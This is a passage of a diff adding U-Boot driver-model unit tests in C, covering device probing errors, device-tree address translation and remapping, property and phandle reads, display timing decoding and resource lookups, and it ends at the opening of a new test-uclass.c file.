+{
+ struct dm_testprobe_pdata *pdata;
+ struct udevice *dev, *parent = NULL, *devlist[4];
+ int count;
+ int ret;
+
+ /* There should be 4 devices */
+ count = 0;
+ for (ret = uclass_first_device_check(UCLASS_TEST_PROBE, &dev);
+ dev;
+ ret = uclass_next_device_check(&dev)) {
+ ut_assertok(ret);
+ devlist[count++] = dev;
+ parent = dev_get_parent(dev);
+ }
+ ut_asserteq(4, count);
+ ut_assertok(uclass_first_device_check(UCLASS_TEST_PROBE, &dev));
+ ut_assertok(check_devices(uts, devlist, 0));
+
+ /* Remove them and try again, with an error on the second one */
+ pdata = dev_get_plat(devlist[1]);
+ pdata->probe_err = -ENOENT - 1;
+ device_remove(parent, DM_REMOVE_NORMAL);
+ ut_assertok(check_devices(uts, devlist, 1 << 1));
+
+ /* Now an error on the first one */
+ pdata = dev_get_plat(devlist[0]);
+ pdata->probe_err = -ENOENT - 0;
+ device_remove(parent, DM_REMOVE_NORMAL);
+ ut_assertok(check_devices(uts, devlist, 3 << 0));
+
+ /* Now errors on all */
+ pdata = dev_get_plat(devlist[2]);
+ pdata->probe_err = -ENOENT - 2;
+ pdata = dev_get_plat(devlist[3]);
+ pdata->probe_err = -ENOENT - 3;
+ device_remove(parent, DM_REMOVE_NORMAL);
+ ut_assertok(check_devices(uts, devlist, 0xf << 0));
+
+ return 0;
+}
+DM_TEST(dm_test_first_next_ok_device, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static const struct udevice_id fdt_dummy_ids[] = {
+ { .compatible = "denx,u-boot-fdt-dummy", },
+ { }
+};
+
+UCLASS_DRIVER(fdt_dummy) = {
+ .name = "fdt-dummy",
+ .id = UCLASS_TEST_DUMMY,
+ .flags = DM_UC_FLAG_SEQ_ALIAS,
+};
+
+U_BOOT_DRIVER(fdt_dummy_drv) = {
+ .name = "fdt_dummy_drv",
+ .of_match = fdt_dummy_ids,
+ .id = UCLASS_TEST_DUMMY,
+};
+
+static int dm_test_fdt_translation(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ fdt32_t dma_addr[2];
+
+ /* Some simple translations */
+ ut_assertok(uclass_find_device_by_seq(UCLASS_TEST_DUMMY, 0, &dev));
+ ut_asserteq_str("dev@0,0", dev->name);
+ ut_asserteq(0x8000, dev_read_addr(dev));
+
+ ut_assertok(uclass_find_device_by_seq(UCLASS_TEST_DUMMY, 1, &dev));
+ ut_asserteq_str("dev@1,100", dev->name);
+ ut_asserteq(0x9000, dev_read_addr(dev));
+
+ ut_assertok(uclass_find_device_by_seq(UCLASS_TEST_DUMMY, 2, &dev));
+ ut_asserteq_str("dev@2,200", dev->name);
+ ut_asserteq(0xA000, dev_read_addr(dev));
+
+ /* No translation for buses with #size-cells == 0 */
+ ut_assertok(uclass_find_device_by_seq(UCLASS_TEST_DUMMY, 3, &dev));
+ ut_asserteq_str("dev@42", dev->name);
+ ut_asserteq(0x42, dev_read_addr(dev));
+
+ /* dma address translation */
+ ut_assertok(uclass_find_device_by_seq(UCLASS_TEST_DUMMY, 0, &dev));
+ dma_addr[0] = cpu_to_be32(0);
+ dma_addr[1] = cpu_to_be32(0);
+ ut_asserteq(0x10000000, dev_translate_dma_address(dev, dma_addr));
+
+ ut_assertok(uclass_find_device_by_seq(UCLASS_TEST_DUMMY, 1, &dev));
+ dma_addr[0] = cpu_to_be32(1);
+ dma_addr[1] = cpu_to_be32(0x100);
+ ut_asserteq(0x20000000, dev_translate_dma_address(dev, dma_addr));
+
+ return 0;
+}
+DM_TEST(dm_test_fdt_translation, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_fdt_get_addr_ptr_flat(struct unit_test_state *uts)
+{
+ struct udevice *gpio, *dev;
+ void *ptr;
+ void *paddr;
+
+ /* Test for missing reg property */
+ ut_assertok(uclass_first_device_err(UCLASS_GPIO, &gpio));
+ ut_assertnull(devfdt_get_addr_ptr(gpio));
+
+ ut_assertok(uclass_find_device_by_seq(UCLASS_TEST_DUMMY, 0, &dev));
+ ptr = devfdt_get_addr_ptr(dev);
+
+ paddr = map_sysmem(0x8000, 0);
+ ut_asserteq_ptr(paddr, ptr);
+
+ return 0;
+}
+DM_TEST(dm_test_fdt_get_addr_ptr_flat,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT | UT_TESTF_FLAT_TREE);
+
+static int dm_test_fdt_remap_addr_flat(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ fdt_addr_t addr;
+ void *paddr;
+
+ ut_assertok(uclass_find_device_by_seq(UCLASS_TEST_DUMMY, 0, &dev));
+
+ addr = devfdt_get_addr(dev);
+ ut_asserteq(0x8000, addr);
+
+ paddr = map_physmem(addr, 0, MAP_NOCACHE);
+ ut_assertnonnull(paddr);
+ ut_asserteq_ptr(paddr, devfdt_remap_addr(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_fdt_remap_addr_flat,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT | UT_TESTF_FLAT_TREE);
+
+static int dm_test_fdt_remap_addr_index_flat(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ fdt_addr_t addr;
+ fdt_size_t size;
+ void *paddr;
+
+ ut_assertok(uclass_find_device_by_seq(UCLASS_TEST_DUMMY, 0, &dev));
+
+ addr = devfdt_get_addr_size_index(dev, 0, &size);
+ ut_asserteq(0x8000, addr);
+ ut_asserteq(0x1000, size);
+
+ paddr = map_physmem(addr, 0, MAP_NOCACHE);
+ ut_assertnonnull(paddr);
+ ut_asserteq_ptr(paddr, devfdt_remap_addr_index(dev, 0));
+
+ return 0;
+}
+DM_TEST(dm_test_fdt_remap_addr_index_flat,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT | UT_TESTF_FLAT_TREE);
+
+static int dm_test_fdt_remap_addr_name_flat(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ fdt_addr_t addr;
+ fdt_size_t size;
+ void *paddr;
+
+ ut_assertok(uclass_find_device_by_seq(UCLASS_TEST_DUMMY, 0, &dev));
+
+ addr = devfdt_get_addr_size_name(dev, "sandbox-dummy-0", &size);
+ ut_asserteq(0x8000, addr);
+ ut_asserteq(0x1000, size);
+
+ paddr = map_physmem(addr, 0, MAP_NOCACHE);
+ ut_assertnonnull(paddr);
+ ut_asserteq_ptr(paddr, devfdt_remap_addr_name(dev, "sandbox-dummy-0"));
+
+ return 0;
+}
+DM_TEST(dm_test_fdt_remap_addr_name_flat,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT | UT_TESTF_FLAT_TREE);
+
+static int dm_test_fdt_remap_addr_live(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ fdt_addr_t addr;
+ void *paddr;
+
+ ut_assertok(uclass_find_device_by_seq(UCLASS_TEST_DUMMY, 0, &dev));
+
+ addr = dev_read_addr(dev);
+ ut_asserteq(0x8000, addr);
+
+ paddr = map_physmem(addr, 0, MAP_NOCACHE);
+ ut_assertnonnull(paddr);
+ ut_asserteq_ptr(paddr, dev_remap_addr(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_fdt_remap_addr_live,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_fdt_remap_addr_index_live(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ fdt_addr_t addr;
+ fdt_size_t size;
+ void *paddr;
+
+ ut_assertok(uclass_find_device_by_seq(UCLASS_TEST_DUMMY, 0, &dev));
+
+ addr = dev_read_addr_size_index(dev, 0, &size);
+ ut_asserteq(0x8000, addr);
+ ut_asserteq(0x1000, size);
+
+ paddr = map_physmem(addr, 0, MAP_NOCACHE);
+ ut_assertnonnull(paddr);
+ ut_asserteq_ptr(paddr, dev_remap_addr_index(dev, 0));
+
+ return 0;
+}
+DM_TEST(dm_test_fdt_remap_addr_index_live,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_fdt_remap_addr_name_live(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ fdt_addr_t addr;
+ fdt_size_t size;
+ void *paddr;
+
+ ut_assertok(uclass_find_device_by_seq(UCLASS_TEST_DUMMY, 0, &dev));
+
+ addr = dev_read_addr_size_name(dev, "sandbox-dummy-0", &size);
+ ut_asserteq(0x8000, addr);
+ ut_asserteq(0x1000, size);
+
+ paddr = map_physmem(addr, 0, MAP_NOCACHE);
+ ut_assertnonnull(paddr);
+ ut_asserteq_ptr(paddr, dev_remap_addr_name(dev, "sandbox-dummy-0"));
+
+ return 0;
+}
+DM_TEST(dm_test_fdt_remap_addr_name_live,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_fdt_disable_enable_by_path(struct unit_test_state *uts)
+{
+ ofnode node;
+
+ if (!of_live_active()) {
+ printf("Live tree not active; ignore test\n");
+ return 0;
+ }
+
+ node = ofnode_path("/usb@2");
+
+ /* Test enabling devices */
+
+ ut_assert(!of_device_is_available(ofnode_to_np(node)));
+ dev_enable_by_path("/usb@2");
+ ut_assert(of_device_is_available(ofnode_to_np(node)));
+
+ /* Test disabling devices */
+
+ ut_assert(of_device_is_available(ofnode_to_np(node)));
+ dev_disable_by_path("/usb@2");
+ ut_assert(!of_device_is_available(ofnode_to_np(node)));
+
+ return 0;
+}
+DM_TEST(dm_test_fdt_disable_enable_by_path, UT_TESTF_SCAN_PDATA |
+ UT_TESTF_SCAN_FDT);
+
+/* Test a few uclass phandle functions */
+static int dm_test_fdt_phandle(struct unit_test_state *uts)
+{
+ struct udevice *back, *dev, *dev2;
+
+ ut_assertok(uclass_find_first_device(UCLASS_PANEL_BACKLIGHT, &back));
+ ut_assertnonnull(back);
+ ut_asserteq(-ENOENT, uclass_find_device_by_phandle(UCLASS_REGULATOR,
+ back, "missing", &dev));
+ ut_assertok(uclass_find_device_by_phandle(UCLASS_REGULATOR, back,
+ "power-supply", &dev));
+ ut_assertnonnull(dev);
+ ut_asserteq(0, device_active(dev));
+ ut_asserteq_str("ldo1", dev->name);
+ ut_assertok(uclass_get_device_by_phandle(UCLASS_REGULATOR, back,
+ "power-supply", &dev2));
+ ut_asserteq_ptr(dev, dev2);
+
+ return 0;
+}
+DM_TEST(dm_test_fdt_phandle, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test device_find_first_child_by_uclass() */
+static int dm_test_first_child(struct unit_test_state *uts)
+{
+ struct udevice *i2c, *dev, *dev2;
+
+ ut_assertok(uclass_first_device_err(UCLASS_I2C, &i2c));
+ ut_assertok(device_find_first_child_by_uclass(i2c, UCLASS_RTC, &dev));
+ ut_asserteq_str("rtc@43", dev->name);
+ ut_assertok(device_find_child_by_name(i2c, "rtc@43", &dev2));
+ ut_asserteq_ptr(dev, dev2);
+ ut_assertok(device_find_child_by_name(i2c, "rtc@61", &dev2));
+ ut_asserteq_str("rtc@61", dev2->name);
+
+ ut_assertok(device_find_first_child_by_uclass(i2c, UCLASS_I2C_EEPROM,
+ &dev));
+ ut_asserteq_str("eeprom@2c", dev->name);
+ ut_assertok(device_find_child_by_name(i2c, "eeprom@2c", &dev2));
+ ut_asserteq_ptr(dev, dev2);
+
+ ut_asserteq(-ENODEV, device_find_first_child_by_uclass(i2c,
+ UCLASS_VIDEO, &dev));
+ ut_asserteq(-ENODEV, device_find_child_by_name(i2c, "missing", &dev));
+
+ return 0;
+}
+DM_TEST(dm_test_first_child, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test integer functions in dm_read_...() */
+static int dm_test_read_int(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ u8 val8;
+ u16 val16;
+ u32 val32;
+ s32 sval;
+ uint val;
+ u64 val64;
+
+ ut_assertok(uclass_first_device_err(UCLASS_TEST_FDT, &dev));
+ ut_asserteq_str("a-test", dev->name);
+
+ ut_assertok(dev_read_u8(dev, "int8-value", &val8));
+ ut_asserteq(0x12, val8);
+
+ ut_asserteq(-EINVAL, dev_read_u8(dev, "missing", &val8));
+ ut_asserteq(6, dev_read_u8_default(dev, "missing", 6));
+
+ ut_asserteq(0x12, dev_read_u8_default(dev, "int8-value", 6));
+
+ ut_assertok(dev_read_u16(dev, "int16-value", &val16));
+ ut_asserteq(0x1234, val16);
+
+ ut_asserteq(-EINVAL, dev_read_u16(dev, "missing", &val16));
+ ut_asserteq(6, dev_read_u16_default(dev, "missing", 6));
+
+ ut_asserteq(0x1234, dev_read_u16_default(dev, "int16-value", 6));
+
+ ut_assertok(dev_read_u32(dev, "int-value", &val32));
+ ut_asserteq(1234, val32);
+
+ ut_asserteq(-EINVAL, dev_read_u32(dev, "missing", &val32));
+ ut_asserteq(6, dev_read_u32_default(dev, "missing", 6));
+
+ ut_asserteq(1234, dev_read_u32_default(dev, "int-value", 6));
+ ut_asserteq(1234, val32);
+
+ ut_asserteq(-EINVAL, dev_read_s32(dev, "missing", &sval));
+ ut_asserteq(6, dev_read_s32_default(dev, "missing", 6));
+
+ ut_asserteq(-1234, dev_read_s32_default(dev, "uint-value", 6));
+ ut_assertok(dev_read_s32(dev, "uint-value", &sval));
+ ut_asserteq(-1234, sval);
+
+ val = 0;
+ ut_asserteq(-EINVAL, dev_read_u32u(dev, "missing", &val));
+ ut_assertok(dev_read_u32u(dev, "uint-value", &val));
+ ut_asserteq(-1234, val);
+
+ ut_assertok(dev_read_u64(dev, "int64-value", &val64));
+ ut_asserteq_64(0x1111222233334444, val64);
+
+ ut_asserteq_64(-EINVAL, dev_read_u64(dev, "missing", &val64));
+ ut_asserteq_64(6, dev_read_u64_default(dev, "missing", 6));
+
+ ut_asserteq_64(0x1111222233334444,
+ dev_read_u64_default(dev, "int64-value", 6));
+
+ return 0;
+}
+DM_TEST(dm_test_read_int, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_read_int_index(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ u32 val32;
+
+ ut_assertok(uclass_first_device_err(UCLASS_TEST_FDT, &dev));
+ ut_asserteq_str("a-test", dev->name);
+
+ ut_asserteq(-EINVAL, dev_read_u32_index(dev, "missing", 0, &val32));
+ ut_asserteq(19, dev_read_u32_index_default(dev, "missing", 0, 19));
+
+ ut_assertok(dev_read_u32_index(dev, "int-array", 0, &val32));
+ ut_asserteq(5678, val32);
+ ut_assertok(dev_read_u32_index(dev, "int-array", 1, &val32));
+ ut_asserteq(9123, val32);
+ ut_assertok(dev_read_u32_index(dev, "int-array", 2, &val32));
+ ut_asserteq(4567, val32);
+ ut_asserteq(-EOVERFLOW, dev_read_u32_index(dev, "int-array", 3,
+ &val32));
+
+ ut_asserteq(5678, dev_read_u32_index_default(dev, "int-array", 0, 2));
+ ut_asserteq(9123, dev_read_u32_index_default(dev, "int-array", 1, 2));
+ ut_asserteq(4567, dev_read_u32_index_default(dev, "int-array", 2, 2));
+ ut_asserteq(2, dev_read_u32_index_default(dev, "int-array", 3, 2));
+
+ return 0;
+}
+DM_TEST(dm_test_read_int_index, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_read_phandle(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct ofnode_phandle_args args;
+ int ret;
+ const char prop[] = "test-gpios";
+ const char cell[] = "#gpio-cells";
+ const char prop2[] = "phandle-value";
+
+ ut_assertok(uclass_first_device_err(UCLASS_TEST_FDT, &dev));
+ ut_asserteq_str("a-test", dev->name);
+
+ /* Test dev_count_phandle_with_args with cell name */
+ ret = dev_count_phandle_with_args(dev, "missing", cell, 0);
+ ut_asserteq(-ENOENT, ret);
+ ret = dev_count_phandle_with_args(dev, prop, "#invalid", 0);
+ ut_asserteq(-EINVAL, ret);
+ ut_asserteq(5, dev_count_phandle_with_args(dev, prop, cell, 0));
+
+ /* Test dev_read_phandle_with_args with cell name */
+ ret = dev_read_phandle_with_args(dev, "missing", cell, 0, 0, &args);
+ ut_asserteq(-ENOENT, ret);
+ ret = dev_read_phandle_with_args(dev, prop, "#invalid", 0, 0, &args);
+ ut_asserteq(-EINVAL, ret);
+ ut_assertok(dev_read_phandle_with_args(dev, prop, cell, 0, 0, &args));
+ ut_asserteq(1, args.args_count);
+ ut_asserteq(1, args.args[0]);
+ ut_assertok(dev_read_phandle_with_args(dev, prop, cell, 0, 1, &args));
+ ut_asserteq(1, args.args_count);
+ ut_asserteq(4, args.args[0]);
+ ut_assertok(dev_read_phandle_with_args(dev, prop, cell, 0, 2, &args));
+ ut_asserteq(5, args.args_count);
+ ut_asserteq(5, args.args[0]);
+ ut_asserteq(1, args.args[4]);
+ ret = dev_read_phandle_with_args(dev, prop, cell, 0, 3, &args);
+ ut_asserteq(-ENOENT, ret);
+ ut_assertok(dev_read_phandle_with_args(dev, prop, cell, 0, 4, &args));
+ ut_asserteq(1, args.args_count);
+ ut_asserteq(12, args.args[0]);
+ ret = dev_read_phandle_with_args(dev, prop, cell, 0, 5, &args);
+ ut_asserteq(-ENOENT, ret);
+
+ /* Test dev_count_phandle_with_args with cell count */
+ ret = dev_count_phandle_with_args(dev, "missing", NULL, 2);
+ ut_asserteq(-ENOENT, ret);
+ ut_asserteq(3, dev_count_phandle_with_args(dev, prop2, NULL, 1));
+
+ /* Test dev_read_phandle_with_args with cell count */
+ ut_assertok(dev_read_phandle_with_args(dev, prop2, NULL, 1, 0, &args));
+ ut_asserteq(1, ofnode_valid(args.node));
+ ut_asserteq(1, args.args_count);
+ ut_asserteq(10, args.args[0]);
+ ret = dev_read_phandle_with_args(dev, prop2, NULL, 1, 1, &args);
+ ut_asserteq(-EINVAL, ret);
+ ut_assertok(dev_read_phandle_with_args(dev, prop2, NULL, 1, 2, &args));
+ ut_asserteq(1, ofnode_valid(args.node));
+ ut_asserteq(1, args.args_count);
+ ut_asserteq(30, args.args[0]);
+ ret = dev_read_phandle_with_args(dev, prop2, NULL, 1, 3, &args);
+ ut_asserteq(-ENOENT, ret);
+
+ return 0;
+}
+DM_TEST(dm_test_read_phandle, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test iteration through devices by drvdata */
+static int dm_test_uclass_drvdata(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_first_device_drvdata(UCLASS_TEST_FDT,
+ DM_TEST_TYPE_FIRST, &dev));
+ ut_asserteq_str("a-test", dev->name);
+
+ ut_assertok(uclass_first_device_drvdata(UCLASS_TEST_FDT,
+ DM_TEST_TYPE_SECOND, &dev));
+ ut_asserteq_str("d-test", dev->name);
+
+ ut_asserteq(-ENODEV, uclass_first_device_drvdata(UCLASS_TEST_FDT,
+ DM_TEST_TYPE_COUNT,
+ &dev));
+
+ return 0;
+}
+DM_TEST(dm_test_uclass_drvdata, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test device_first_child_ofdata_err(), etc. */
+static int dm_test_child_ofdata(struct unit_test_state *uts)
+{
+ struct udevice *bus, *dev;
+ int count;
+
+ ut_assertok(uclass_first_device_err(UCLASS_TEST_BUS, &bus));
+ count = 0;
+ device_foreach_child_of_to_plat(dev, bus) {
+ ut_assert(dev_get_flags(dev) & DM_FLAG_PLATDATA_VALID);
+ ut_assert(!(dev_get_flags(dev) & DM_FLAG_ACTIVATED));
+ count++;
+ }
+ ut_asserteq(3, count);
+
+ return 0;
+}
+DM_TEST(dm_test_child_ofdata, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test device_first_child_err(), etc. */
+static int dm_test_first_child_probe(struct unit_test_state *uts)
+{
+ struct udevice *bus, *dev;
+ int count;
+
+ ut_assertok(uclass_first_device_err(UCLASS_TEST_BUS, &bus));
+ count = 0;
+ device_foreach_child_probe(dev, bus) {
+ ut_assert(dev_get_flags(dev) & DM_FLAG_PLATDATA_VALID);
+ ut_assert(dev_get_flags(dev) & DM_FLAG_ACTIVATED);
+ count++;
+ }
+ ut_asserteq(3, count);
+
+ return 0;
+}
+DM_TEST(dm_test_first_child_probe, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that ofdata is read for parents before children */
+static int dm_test_ofdata_order(struct unit_test_state *uts)
+{
+ struct udevice *bus, *dev;
+
+ ut_assertok(uclass_find_first_device(UCLASS_I2C, &bus));
+ ut_assertnonnull(bus);
+ ut_assert(!(dev_get_flags(bus) & DM_FLAG_PLATDATA_VALID));
+
+ ut_assertok(device_find_first_child(bus, &dev));
+ ut_assertnonnull(dev);
+ ut_assert(!(dev_get_flags(dev) & DM_FLAG_PLATDATA_VALID));
+
+ /* read the child's ofdata which should cause the parent's to be read */
+ ut_assertok(device_of_to_plat(dev));
+ ut_assert(dev_get_flags(dev) & DM_FLAG_PLATDATA_VALID);
+ ut_assert(dev_get_flags(bus) & DM_FLAG_PLATDATA_VALID);
+
+ ut_assert(!(dev_get_flags(dev) & DM_FLAG_ACTIVATED));
+ ut_assert(!(dev_get_flags(bus) & DM_FLAG_ACTIVATED));
+
+ return 0;
+}
+DM_TEST(dm_test_ofdata_order, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test dev_decode_display_timing() */
+static int dm_test_decode_display_timing(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct display_timing timing;
+
+ ut_assertok(uclass_first_device_err(UCLASS_TEST_FDT, &dev));
+ ut_asserteq_str("a-test", dev->name);
+
+ ut_assertok(dev_decode_display_timing(dev, 0, &timing));
+ ut_assert(timing.hactive.typ == 240);
+ ut_assert(timing.hback_porch.typ == 7);
+ ut_assert(timing.hfront_porch.typ == 6);
+ ut_assert(timing.hsync_len.typ == 1);
+ ut_assert(timing.vactive.typ == 320);
+ ut_assert(timing.vback_porch.typ == 5);
+ ut_assert(timing.vfront_porch.typ == 8);
+ ut_assert(timing.vsync_len.typ == 2);
+ ut_assert(timing.pixelclock.typ == 6500000);
+ ut_assert(timing.flags & DISPLAY_FLAGS_HSYNC_HIGH);
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_HSYNC_LOW));
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_VSYNC_HIGH));
+ ut_assert(timing.flags & DISPLAY_FLAGS_VSYNC_LOW);
+ ut_assert(timing.flags & DISPLAY_FLAGS_DE_HIGH);
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_DE_LOW));
+ ut_assert(timing.flags & DISPLAY_FLAGS_PIXDATA_POSEDGE);
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_PIXDATA_NEGEDGE));
+ ut_assert(timing.flags & DISPLAY_FLAGS_INTERLACED);
+ ut_assert(timing.flags & DISPLAY_FLAGS_DOUBLESCAN);
+ ut_assert(timing.flags & DISPLAY_FLAGS_DOUBLECLK);
+
+ ut_assertok(dev_decode_display_timing(dev, 1, &timing));
+ ut_assert(timing.hactive.typ == 480);
+ ut_assert(timing.hback_porch.typ == 59);
+ ut_assert(timing.hfront_porch.typ == 10);
+ ut_assert(timing.hsync_len.typ == 12);
+ ut_assert(timing.vactive.typ == 800);
+ ut_assert(timing.vback_porch.typ == 15);
+ ut_assert(timing.vfront_porch.typ == 17);
+ ut_assert(timing.vsync_len.typ == 16);
+ ut_assert(timing.pixelclock.typ == 9000000);
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_HSYNC_HIGH));
+ ut_assert(timing.flags & DISPLAY_FLAGS_HSYNC_LOW);
+ ut_assert(timing.flags & DISPLAY_FLAGS_VSYNC_HIGH);
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_VSYNC_LOW));
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_DE_HIGH));
+ ut_assert(timing.flags & DISPLAY_FLAGS_DE_LOW);
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_PIXDATA_POSEDGE));
+ ut_assert(timing.flags & DISPLAY_FLAGS_PIXDATA_NEGEDGE);
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_INTERLACED));
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_DOUBLESCAN));
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_DOUBLECLK));
+
+ ut_assertok(dev_decode_display_timing(dev, 2, &timing));
+ ut_assert(timing.hactive.typ == 800);
+ ut_assert(timing.hback_porch.typ == 89);
+ ut_assert(timing.hfront_porch.typ == 164);
+ ut_assert(timing.hsync_len.typ == 11);
+ ut_assert(timing.vactive.typ == 480);
+ ut_assert(timing.vback_porch.typ == 23);
+ ut_assert(timing.vfront_porch.typ == 10);
+ ut_assert(timing.vsync_len.typ == 13);
+ ut_assert(timing.pixelclock.typ == 33500000);
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_HSYNC_HIGH));
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_HSYNC_LOW));
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_VSYNC_HIGH));
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_VSYNC_LOW));
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_DE_HIGH));
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_DE_LOW));
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_PIXDATA_POSEDGE));
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_PIXDATA_NEGEDGE));
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_INTERLACED));
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_DOUBLESCAN));
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_DOUBLECLK));
+
+ ut_assert(dev_decode_display_timing(dev, 3, &timing));
+ return 0;
+}
+DM_TEST(dm_test_decode_display_timing, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test dev_decode_panel_timing() */
+static int dm_test_decode_panel_timing(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct display_timing timing;
+
+ ut_assertok(uclass_first_device_err(UCLASS_TEST_FDT, &dev));
+ ut_asserteq_str("a-test", dev->name);
+
+ ut_assertok(dev_decode_panel_timing(dev, &timing));
+ ut_assert(timing.hactive.typ == 240);
+ ut_assert(timing.hback_porch.typ == 7);
+ ut_assert(timing.hfront_porch.typ == 6);
+ ut_assert(timing.hsync_len.typ == 1);
+ ut_assert(timing.vactive.typ == 320);
+ ut_assert(timing.vback_porch.typ == 5);
+ ut_assert(timing.vfront_porch.typ == 8);
+ ut_assert(timing.vsync_len.typ == 2);
+ ut_assert(timing.pixelclock.typ == 6500000);
+ ut_assert(timing.flags & DISPLAY_FLAGS_HSYNC_HIGH);
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_HSYNC_LOW));
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_VSYNC_HIGH));
+ ut_assert(timing.flags & DISPLAY_FLAGS_VSYNC_LOW);
+ ut_assert(timing.flags & DISPLAY_FLAGS_DE_HIGH);
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_DE_LOW));
+ ut_assert(timing.flags & DISPLAY_FLAGS_PIXDATA_POSEDGE);
+ ut_assert(!(timing.flags & DISPLAY_FLAGS_PIXDATA_NEGEDGE));
+ ut_assert(timing.flags & DISPLAY_FLAGS_INTERLACED);
+ ut_assert(timing.flags & DISPLAY_FLAGS_DOUBLESCAN);
+ ut_assert(timing.flags & DISPLAY_FLAGS_DOUBLECLK);
+
+ return 0;
+}
+DM_TEST(dm_test_decode_panel_timing, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test read_resourcee() */
+static int dm_test_read_resource(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct resource res;
+
+ /* test resource without translation */
+ ut_assertok(uclass_find_device_by_name(UCLASS_SIMPLE_BUS, "syscon@2", &dev));
+ ut_assertok(dev_read_resource(dev, 0, &res));
+ ut_asserteq(0x40, res.start);
+ ut_asserteq(0x44, res.end);
+ ut_assertok(dev_read_resource(dev, 1, &res));
+ ut_asserteq(0x48, res.start);
+ ut_asserteq(0x4d, res.end);
+
+ /* test resource with translation */
+ ut_assertok(uclass_find_device_by_name(UCLASS_TEST_DUMMY, "dev@1,100", &dev));
+ ut_assertok(dev_read_resource(dev, 0, &res));
+ ut_asserteq(0x9000, res.start);
+ ut_asserteq(0x9fff, res.end);
+
+ /* test named resource */
+ ut_assertok(uclass_find_device_by_name(UCLASS_TEST_DUMMY, "dev@0,0", &dev));
+ ut_assertok(dev_read_resource_byname(dev, "sandbox-dummy-0", &res));
+ ut_asserteq(0x8000, res.start);
+ ut_asserteq(0x8fff, res.end);
+
+ return 0;
+}
+
+DM_TEST(dm_test_read_resource, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/test-uclass.c b/test/dm/test-uclass.c
new file mode 100644
index 00000000000..9a80cc63667
--- /dev/null
+++ b/test/dm/test-uclass.c
@@ -0,0 +1,131 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2013 Google, Inc
+ *
+ * (C) Copyright 2012
+ * Pavel Herrmann <morpheus.ibis@gmail.com>
+ */
+
+#include <log.h>
+#include <malloc.h>
+#include <dm.h>
+#include <errno.h>
+#include <asm/io.h>
+#include <dm/test.h>
+#include <linux/list.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+int test_ping(struct udevice *dev, int pingval, int *pingret)
+{
+ const struct test_ops *ops = device_get_ops(dev);
+
+ if (!ops->ping)
+ return -ENOSYS;
+
+ return ops->ping(dev, pingval, pingret);
+}
+
+static int test_post_bind(struct udevice *dev)
+{
+ struct unit_test_state *uts = test_get_state();
+ struct dm_test_perdev_uc_pdata *uc_pdata;
+
+ dm_testdrv_op_count[DM_TEST_OP_POST_BIND]++;
+ ut_assert(!device_active(dev));
+
